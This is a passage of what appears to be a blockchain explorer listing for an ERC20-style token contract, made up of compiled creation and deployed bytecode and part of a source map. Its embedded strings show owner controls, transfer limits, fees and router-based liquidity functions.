472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071b565b60085481111580610e2557506001600160a01b0383166000908152600d602052604090205460ff165b610e835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b606482015260840161071b565b6001600160a01b038216610ee55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071b565b6001600160a01b038316610f495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071b565b6001600160a01b0382166000908152600d602052604090205460ff16610ff35760095481610f8c846001600160a01b031660009081526004602052604090205490565b610f969190611a4b565b1115610ff35760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b606482015260840161071b565b6007543060009081526004602052604090205410158015611016575060115460ff165b80156110315750600f5460105461102d9190611a4b565b4210155b80156110405750600e5460ff16155b801561105a57506002546001600160a01b03848116911614155b801561107457506000546001600160a01b03848116911614155b801561108e57506000546001600160a01b03838116911614155b1561109b5761109b61122a565b806110a6848461132a565b156110bb576015546110b89083611a5e565b91505b6001600160a01b038416600090815260046020526040812080548492906110e390849061197d565b90915550506001600160a01b0384166000908152600c60205260409020549091508190819060ff1615801561113157506001600160a01b0384166000908152600c602052604090205460ff16155b156111575760025461115490849087906001600160a01b0388811691161461135e565b90505b6001600160a01b0384166000908152600460205260408120805483929061117f908490611a4b565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111cb91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff19166001179055600a541561129a57600061124f600a600001546114c6565b90508015611298576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611291573d6000803e3d6000fd5b506000600a555b505b600b54156112f157600b546000906112b490600290611a75565b9050600081600a600101546112c9919061197d565b905060006112d6836114c6565b905080156112e8576112e88282611636565b50506000600b55505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a142601055600e805460ff19169055565b6002546000906001600160a01b03838116911614801561135757506003546001600160a01b038481169116145b9392505050565b60408051808201909152601454815260155460208201526000904783156113b3576040518060400160405280601954836113989190611a75565b6012546113a5919061197d565b815260135460209091015291505b81516000906064906113c59089611a5e565b6113cf9190611a75565b9050600060648460200151896113e59190611a5e565b6113ef9190611a75565b905081156114125781600a600001600082825461140c9190611a4b565b90915550505b80156114335780600a600101600082825461142d9190611a4b565b90915550505b600061143f8284611a4b565b30600090815260046020526040812080549293508392909190611463908490611a4b565b909155505080156114af5760405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6114b9818a61197d565b9998505050505050505050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061150157611501611a97565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157e91906119c5565b8160018151811061159157611591611a97565b6001600160a01b0392831660209182029290920101526001546115b79130911686610c76565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f0908790600090869030904290600401611aad565b600060405180830381600087803b15801561160a57600080fd5b505af115801561161e573d6000803e3d6000fd5b50505050814761162e919061197d565b949350505050565b60015461164e9030906001600160a01b031684610c76565b6001546000906001600160a01b031663f305d71983308685806116796000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161169b969594939291906119e2565b60606040518083038185885af11580156116b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116de9190611a1d565b509150600090506116ef828461197d565b111561098957610989611702828461197d565b6003546001600160a01b0316908047101561175f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161071b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146117ac576040519150601f19603f3d011682016040523d82523d6000602084013e6117b1565b606091505b50509050806109895760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161071b565b600060208083528351808285015260005b8181101561185557858101830151858201604001528201611839565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c7357600080fd5b6000806040838503121561189e57600080fd5b82356118a981611876565b946020939093013593505050565b6000806000606084860312156118cc57600080fd5b83356118d781611876565b925060208401356118e781611876565b929592945050506040919091013590565b60006020828403121561190a57600080fd5b813561135781611876565b60006020828403121561192757600080fd5b5035919050565b6000806040838503121561194157600080fd5b823561194c81611876565b9150602083013561195c81611876565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561069957610699611967565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119d757600080fd5b815161135781611876565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a3257600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561069957610699611967565b808202811582820484141761069957610699611967565b600082611a9257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220574ce1945c2dd07f317731217a34d1b8e8f57eceb7d32deb281cab99cfb7b3db64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c8063768dc7101161010d578063a9059cbb116100a0578063ee9a5d821161006f578063ee9a5d82146105ea578063ef07a18214610617578063f2fde38b1461062d578063f887ea401461064d578063f9d0ee941461066d57600080fd5b8063a9059cbb14610553578063cc1776d314610573578063d62ce6311461058e578063dd62ed3e146105a457600080fd5b80638f3fa860116100dc5780638f3fa860146104d057806395d89b41146104e6578063a457c2d714610513578063a8aa1b311461053357600080fd5b8063768dc710146104585780637a75885f1461048857806386b676cd1461049d5780638da5cb5b146104b257600080fd5b806339509351116101855780635966c81e116101545780635966c81e146103d75780636a01f09c146103f757806370a082311461040d578063715018a61461044357600080fd5b8063395093511461032f5780633ff42b921461034f5780634cf27997146103875780634f7041a5146103a757600080fd5b806323b872dd116101c157806323b872dd146102ae57806328c61f41146102ce578063293230b8146102fe578063313ce5671461031357600080fd5b806301d28e7f146101fe57806306fdde031461021c578063095ea7b31461025f57806318160ddd1461028f57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021a6011805460ff19169055565b005b34801561022857600080fd5b506040805180820190915260088152671319595d08109bdd60c21b60208201525b6040516102569190611828565b60405180910390f35b34801561026b57600080fd5b5061027f61027a36600461188b565b610688565b6040519015158152602001610256565b34801561029b57600080fd5b506006545b604051908152602001610256565b3480156102ba57600080fd5b5061027f6102c93660046118b7565b61069f565b3480156102da57600080fd5b5061027f6102e93660046118f8565b600d6020526000908152604090205460ff1681565b34801561030a57600080fd5b5061021a6106f1565b34801561031f57600080fd5b5060405160098152602001610256565b34801561033b57600080fd5b5061027f61034a36600461188b565b61098e565b34801561035b57600080fd5b5060035461036f906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b34801561039357600080fd5b5061021a6103a236600461188b565b6109c5565b3480156103b357600080fd5b506014546015546103c2919082565b60408051928352602083019190915201610256565b3480156103e357600080fd5b5061021a6103f2366004611915565b610a19565b34801561040357600080fd5b506102a060075481565b34801561041957600080fd5b506102a06104283660046118f8565b6001600160a01b031660009081526004602052604090205490565b34801561044f57600080fd5b5061021a610ac4565b34801561046457600080fd5b5061027f6104733660046118f8565b600c6020526000908152604090205460ff1681565b34801561049457600080fd5b5061021a610afa565b3480156104a957600080fd5b5061021a610b31565b3480156104be57600080fd5b506000546001600160a01b031661036f565b3480156104dc57600080fd5b506102a060095481565b3480156104f257600080fd5b506040805180820190915260048152631311515560e21b6020820152610249565b34801561051f57600080fd5b5061027f61052e36600461188b565b610b97565b34801561053f57600080fd5b5060025461036f906001600160a01b031681565b34801561055f57600080fd5b5061027f61056e36600461188b565b610bce565b34801561057f57600080fd5b506012546013546103c2919082565b34801561059a57600080fd5b506102a060085481565b3480156105b057600080fd5b506102a06105bf36600461192e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506102a06106053660046118f8565b60166020526000908152604090205481565b34801561062357600080fd5b506102a060185481565b34801561063957600080fd5b5061021a6106483660046118f8565b610bdb565b34801561065957600080fd5b5060015461036f906001600160a01b031681565b34801561067957600080fd5b50600a54600b546103c2919082565b6000610695338484610c76565b5060015b92915050565b60006106ac848484610d9a565b6001600160a01b0384166000908152600560209081526040808320338085529252909120546106e79186916106e290869061197d565b610c76565b5060019392505050565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611990565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610777573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079b91906119c5565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082191906119c5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089291906119c5565b600280546001600160a01b0319166001600160a01b039283169081179091556000908152600d60205260409020805460ff19166001908117909155546108dd91309116600019610c76565b6001546001600160a01b031663f305d719473061090f816001600160a01b031660009081526004602052604090205490565b6000806109246000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610946969594939291906119e2565b60606040518083038185885af1158015610964573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109899190611a1d565b505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e2908690611a4b565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161071b90611990565b6109f98142611a4b565b6001600160a01b0390921660009081526016602052604090209190915550565b6000546001600160a01b03163314610a435760405162461bcd60e51b815260040161071b90611990565b80471015610a935760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e63650000000000000000604482015260640161071b565b604051339082156108fc029083906000818181858888f19350505050158015610ac0573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610aee5760405162461bcd60e51b815260040161071b90611990565b610af860006111da565b565b6000546001600160a01b03163314610b245760405162461bcd60e51b815260040161071b90611990565b6006546008819055600955565b600a54600b54600091610b4391611a4b565b306000908152600460205260409020549091508110610b6157600080fd5b30600090815260046020526040812054610b7c90839061197d565b600354909150610ac09030906001600160a01b031683610d9a565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916106959185906106e290869061197d565b6000610695338484610d9a565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260040161071b90611990565b6001600160a01b038116610c6a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b610c73816111da565b50565b6001600160a01b038316610cd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610dfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161071b565b60085481111580610e2557506001600160a01b0383166000908152600d602052604090205460ff165b610e835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b606482015260840161071b565b6001600160a01b038216610ee55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161071b565b6001600160a01b038316610f495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161071b565b6001600160a01b0382166000908152600d602052604090205460ff16610ff35760095481610f8c846001600160a01b031660009081526004602052604090205490565b610f969190611a4b565b1115610ff35760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b606482015260840161071b565b6007543060009081526004602052604090205410158015611016575060115460ff165b80156110315750600f5460105461102d9190611a4b565b4210155b80156110405750600e5460ff16155b801561105a57506002546001600160a01b03848116911614155b801561107457506000546001600160a01b03848116911614155b801561108e57506000546001600160a01b03838116911614155b1561109b5761109b61122a565b806110a6848461132a565b156110bb576015546110b89083611a5e565b91505b6001600160a01b038416600090815260046020526040812080548492906110e390849061197d565b90915550506001600160a01b0384166000908152600c60205260409020549091508190819060ff1615801561113157506001600160a01b0384166000908152600c602052604090205460ff16155b156111575760025461115490849087906001600160a01b0388811691161461135e565b90505b6001600160a01b0384166000908152600460205260408120805483929061117f908490611a4b565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111cb91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff19166001179055600a541561129a57600061124f600a600001546114c6565b90508015611298576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611291573d6000803e3d6000fd5b506000600a555b505b600b54156112f157600b546000906112b490600290611a75565b9050600081600a600101546112c9919061197d565b905060006112d6836114c6565b905080156112e8576112e88282611636565b50506000600b55505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a142601055600e805460ff19169055565b6002546000906001600160a01b03838116911614801561135757506003546001600160a01b038481169116145b9392505050565b60408051808201909152601454815260155460208201526000904783156113b3576040518060400160405280601954836113989190611a75565b6012546113a5919061197d565b815260135460209091015291505b81516000906064906113c59089611a5e565b6113cf9190611a75565b9050600060648460200151896113e59190611a5e565b6113ef9190611a75565b905081156114125781600a600001600082825461140c9190611a4b565b90915550505b80156114335780600a600101600082825461142d9190611a4b565b90915550505b600061143f8284611a4b565b30600090815260046020526040812080549293508392909190611463908490611a4b565b909155505080156114af5760405181815230906001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6114b9818a61197d565b9998505050505050505050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061150157611501611a97565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157e91906119c5565b8160018151811061159157611591611a97565b6001600160a01b0392831660209182029290920101526001546115b79130911686610c76565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f0908790600090869030904290600401611aad565b600060405180830381600087803b15801561160a57600080fd5b505af115801561161e573d6000803e3d6000fd5b50505050814761162e919061197d565b949350505050565b60015461164e9030906001600160a01b031684610c76565b6001546000906001600160a01b031663f305d71983308685806116796000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161169b969594939291906119e2565b60606040518083038185885af11580156116b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116de9190611a1d565b509150600090506116ef828461197d565b111561098957610989611702828461197d565b6003546001600160a01b0316908047101561175f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161071b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146117ac576040519150601f19603f3d011682016040523d82523d6000602084013e6117b1565b606091505b50509050806109895760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161071b565b600060208083528351808285015260005b8181101561185557858101830151858201604001528201611839565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c7357600080fd5b6000806040838503121561189e57600080fd5b82356118a981611876565b946020939093013593505050565b6000806000606084860312156118cc57600080fd5b83356118d781611876565b925060208401356118e781611876565b929592945050506040919091013590565b60006020828403121561190a57600080fd5b813561135781611876565b60006020828403121561192757600080fd5b5035919050565b6000806040838503121561194157600080fd5b823561194c81611876565b9150602083013561195c81611876565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561069957610699611967565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119d757600080fd5b815161135781611876565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a3257600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561069957610699611967565b808202811582820484141761069957610699611967565b600082611a9257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220574ce1945c2dd07f317731217a34d1b8e8f57eceb7d32deb281cab99cfb7b3db64736f6c63430008130033

Deployed Bytecode Sourcemap

3360:10409:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7965:83;;;;;;;;;;;;8021:11;:19;;-1:-1:-1;;8021:19:0;;;7965:83;;;5619;;;;;;;;;;-1:-1:-1;5689:5:0;;;;;;;;;;;;-1:-1:-1;;;5689:5:0;;;;5619:83;;;;;;;:::i;:::-;;;;;;;;6450:161;;;;;;;;;;-1:-1:-1;6450:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6450:161:0;1023:187:1;5896:95:0;;;;;;;;;;-1:-1:-1;5976:7:0;;5896:95;;;1361:25:1;;;1349:2;1334:18;5896:95:0;1215:177:1;7075:266:0;;;;;;;;;;-1:-1:-1;7075:266:0;;;;;:::i;:::-;;:::i;4276:58::-;;;;;;;;;;-1:-1:-1;4276:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8943:471;;;;;;;;;;;;;:::i;5805:83::-;;;;;;;;;;-1:-1:-1;5805:83:0;;3847:1;2252:36:1;;2240:2;2225:18;5805:83:0;2110:184:1;6619:215:0;;;;;;;;;;-1:-1:-1;6619:215:0;;;;;:::i;:::-;;:::i;3503:73::-;;;;;;;;;;-1:-1:-1;3503:73:0;;;;-1:-1:-1;;;;;3503:73:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3503:73:0;2299:203:1;8056:151:0;;;;;;;;;;-1:-1:-1;8056:151:0;;;;;:::i;:::-;;:::i;4595:28::-;;;;;;;;;;-1:-1:-1;4595:28:0;;;;;;;;;;;;;2681:25:1;;;2737:2;2722:18;;2715:34;;;;2654:18;4595:28:0;2507:248:1;8735:200:0;;;;;;;;;;-1:-1:-1;8735:200:0;;;;;:::i;:::-;;:::i;3919:41::-;;;;;;;;;;;;;;;;5999:117;;;;;;;;;;-1:-1:-1;5999:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6092:16:0;6065:7;6092:16;;;:7;:16;;;;;;;5999:117;1340:94;;;;;;;;;;;;;:::i;4218:51::-;;;;;;;;;;-1:-1:-1;4218:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7842:115;;;;;;;;;;;;;:::i;8215:512::-;;;;;;;;;;;;;:::i;1117:87::-;;;;;;;;;;-1:-1:-1;1163:7:0;1190:6;-1:-1:-1;;;;;1190:6:0;1117:87;;4023:49;;;;;;;;;;;;;;;;5710:87;;;;;;;;;;-1:-1:-1;5782:7:0;;;;;;;;;;;;-1:-1:-1;;;5782:7:0;;;;5710:87;;6842:225;;;;;;;;;;-1:-1:-1;6842:225:0;;;;;:::i;:::-;;:::i;3477:19::-;;;;;;;;;;-1:-1:-1;3477:19:0;;;;-1:-1:-1;;;;;3477:19:0;;;6124:167;;;;;;;;;;-1:-1:-1;6124:167:0;;;;;:::i;:::-;;:::i;4559:29::-;;;;;;;;;;-1:-1:-1;4559:29:0;;;;;;;;;3967:49;;;;;;;;;;;;;;;;6299:143;;;;;;;;;;-1:-1:-1;6299:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6407:18:0;;;6380:7;6407:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6299:143;4636:48;;;;;;;;;;-1:-1:-1;4636:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;4736:26;;;;;;;;;;;;;;;;1442:192;;;;;;;;;;-1:-1:-1;1442:192:0;;;;;:::i;:::-;;:::i;3449:21::-;;;;;;;;;;-1:-1:-1;3449:21:0;;;;-1:-1:-1;;;;;3449:21:0;;;4170:39;;;;;;;;;;-1:-1:-1;4170:39:0;;;;;;;;;6450:161;6525:4;6542:39;386:10;6565:7;6574:6;6542:8;:39::i;:::-;-1:-1:-1;6599:4:0;6450:161;;;;;:::o;7075:266::-;7173:4;7190:36;7200:6;7208:9;7219:6;7190:9;:36::i;:::-;-1:-1:-1;;;;;7268:19:0;;;;;;:11;:19;;;;;;;;386:10;7268:33;;;;;;;;;7237:74;;7246:6;;7268:42;;7304:6;;7268:42;:::i;:::-;7237:8;:74::i;:::-;-1:-1:-1;7329:4:0;7075:266;;;;;:::o;8943:471::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;;;;;;;;;9011:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9011:6:0::1;-1:-1:-1::0;;;;;9011:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9002:37:0::1;;9048:4;9055:6;;;;;;;;;-1:-1:-1::0;;;;;9055:6:0::1;-1:-1:-1::0;;;;;9055:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9002:67;::::0;-1:-1:-1;;;;;;9002:67:0::1;::::0;;;;;;-1:-1:-1;;;;;4673:15:1;;;9002:67:0::1;::::0;::::1;4655:34:1::0;4725:15;;4705:18;;;4698:43;4590:18;;9002:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8995:4;:74:::0;;-1:-1:-1;;;;;;8995:74:0::1;-1:-1:-1::0;;;;;8995:74:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;9080:31:0;;;:25:::1;:31;::::0;;;;:38;;-1:-1:-1;;9080:38:0::1;-1:-1:-1::0;9080:38:0;;::::1;::::0;;;9152:6;9120:59:::1;::::0;9137:4:::1;::::0;9152:6:::1;-1:-1:-1::0;;9120:8:0::1;:59::i;:::-;9190:6;::::0;-1:-1:-1;;;;;9190:6:0::1;:22;9220:21;9265:4;9285:24;9265:4:::0;-1:-1:-1;;;;;6092:16:0;6065:7;6092:16;;;:7;:16;;;;;;;5999:117;9285:24:::1;9324:1;9341::::0;9358:7:::1;1163::::0;1190:6;-1:-1:-1;;;;;1190:6:0;;1117:87;9358:7:::1;9380:15;9190:216;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8943:471::o:0;6619:215::-;386:10;6707:4;6756:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6756:34:0;;;;;;;;;;6707:4;;6724:80;;6747:7;;6756:47;;6793:10;;6756:47;:::i;8056:151::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;8176:23:::1;8194:5:::0;8176:15:::1;:23;:::i;:::-;-1:-1:-1::0;;;;;8153:20:0;;::::1;;::::0;;;:12:::1;:20;::::0;;;;:46;;;;-1:-1:-1;8056:151:0:o;8735:200::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;8839:9:::1;8814:21;:34;;8806:71;;;::::0;-1:-1:-1;;;8806:71:0;;6007:2:1;8806:71:0::1;::::0;::::1;5989:21:1::0;6046:2;6026:18;;;6019:30;6085:26;6065:18;;;6058:54;6129:18;;8806:71:0::1;5805:348:1::0;8806:71:0::1;8888:39;::::0;8896:10:::1;::::0;8888:39;::::1;;;::::0;8917:9;;8888:39:::1;::::0;;;8917:9;8896:10;8888:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8735:200:::0;:::o;1340:94::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;1405:21:::1;1423:1;1405:9;:21::i;:::-;1340:94::o:0;7842:115::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;7917:7:::1;::::0;7900:14:::1;:24:::0;;;7926:13:::1;:23:::0;7842:115::o;8215:512::-;8483:18;:34;8453:27;;8429:21;;8453:64;;;:::i;:::-;8554:4;6065:7;6092:16;;;:7;:16;;;;;;8429:88;;-1:-1:-1;8429:88:0;-1:-1:-1;8528:53:0;;;;;;8630:4;8592:17;6092:16;;;:7;:16;;;;;;8612:43;;8639:16;;8612:43;:::i;:::-;8691:13;;8592:63;;-1:-1:-1;8666:53:0;;8684:4;;-1:-1:-1;;;;;8691:13:0;8592:63;8666:9;:53::i;6842:225::-;386:10;6935:4;6984:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6984:34:0;;;;;;;;;;6935:4;;6952:85;;6975:7;;6984:52;;7021:15;;6984:52;:::i;6124:167::-;6202:4;6219:42;386:10;6243:9;6254:6;6219:9;:42::i;1442:192::-;1163:7;1190:6;-1:-1:-1;;;;;1190:6:0;386:10;1252:23;1244:68;;;;-1:-1:-1;;;1244:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1531:22:0;::::1;1523:73;;;::::0;-1:-1:-1;;;1523:73:0;;6360:2:1;1523:73:0::1;::::0;::::1;6342:21:1::0;6399:2;6379:18;;;6372:30;6438:34;6418:18;;;6411:62;-1:-1:-1;;;6489:18:1;;;6482:36;6535:19;;1523:73:0::1;6158:402:1::0;1523:73:0::1;1607:19;1617:8;1607:9;:19::i;:::-;1442:192:::0;:::o;7349:335::-;-1:-1:-1;;;;;7442:19:0;;7434:68;;;;-1:-1:-1;;;7434:68:0;;6767:2:1;7434:68:0;;;6749:21:1;6806:2;6786:18;;;6779:30;6845:34;6825:18;;;6818:62;-1:-1:-1;;;6896:18:1;;;6889:34;6940:19;;7434:68:0;6565:400:1;7434:68:0;-1:-1:-1;;;;;7521:21:0;;7513:68;;;;-1:-1:-1;;;7513:68:0;;7172:2:1;7513:68:0;;;7154:21:1;7211:2;7191:18;;;7184:30;7250:34;7230:18;;;7223:62;-1:-1:-1;;;7301:18:1;;;7294:32;7343:19;;7513:68:0;6970:398:1;7513:68:0;-1:-1:-1;;;;;7592:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7644:32;;1361:25:1;;;7644:32:0;;1334:18:1;7644:32:0;;;;;;;7349:335;;;:::o;9471:1273::-;9566:1;9557:6;:10;9549:64;;;;-1:-1:-1;;;9549:64:0;;7575:2:1;9549:64:0;;;7557:21:1;7614:2;7594:18;;;7587:30;7653:34;7633:18;;;7626:62;-1:-1:-1;;;7704:18:1;;;7697:39;7753:19;;9549:64:0;7373:405:1;9549:64:0;9642:14;;9632:6;:24;;:59;;;-1:-1:-1;;;;;;9660:31:0;;;;;;:25;:31;;;;;;;;9632:59;9624:113;;;;-1:-1:-1;;;9624:113:0;;7985:2:1;9624:113:0;;;7967:21:1;8024:2;8004:18;;;7997:30;8063:34;8043:18;;;8036:62;-1:-1:-1;;;8114:18:1;;;8107:39;8163:19;;9624:113:0;7783:405:1;9624:113:0;-1:-1:-1;;;;;9756:16:0;;9748:64;;;;-1:-1:-1;;;9748:64:0;;8395:2:1;9748:64:0;;;8377:21:1;8434:2;8414:18;;;8407:30;8473:34;8453:18;;;8446:6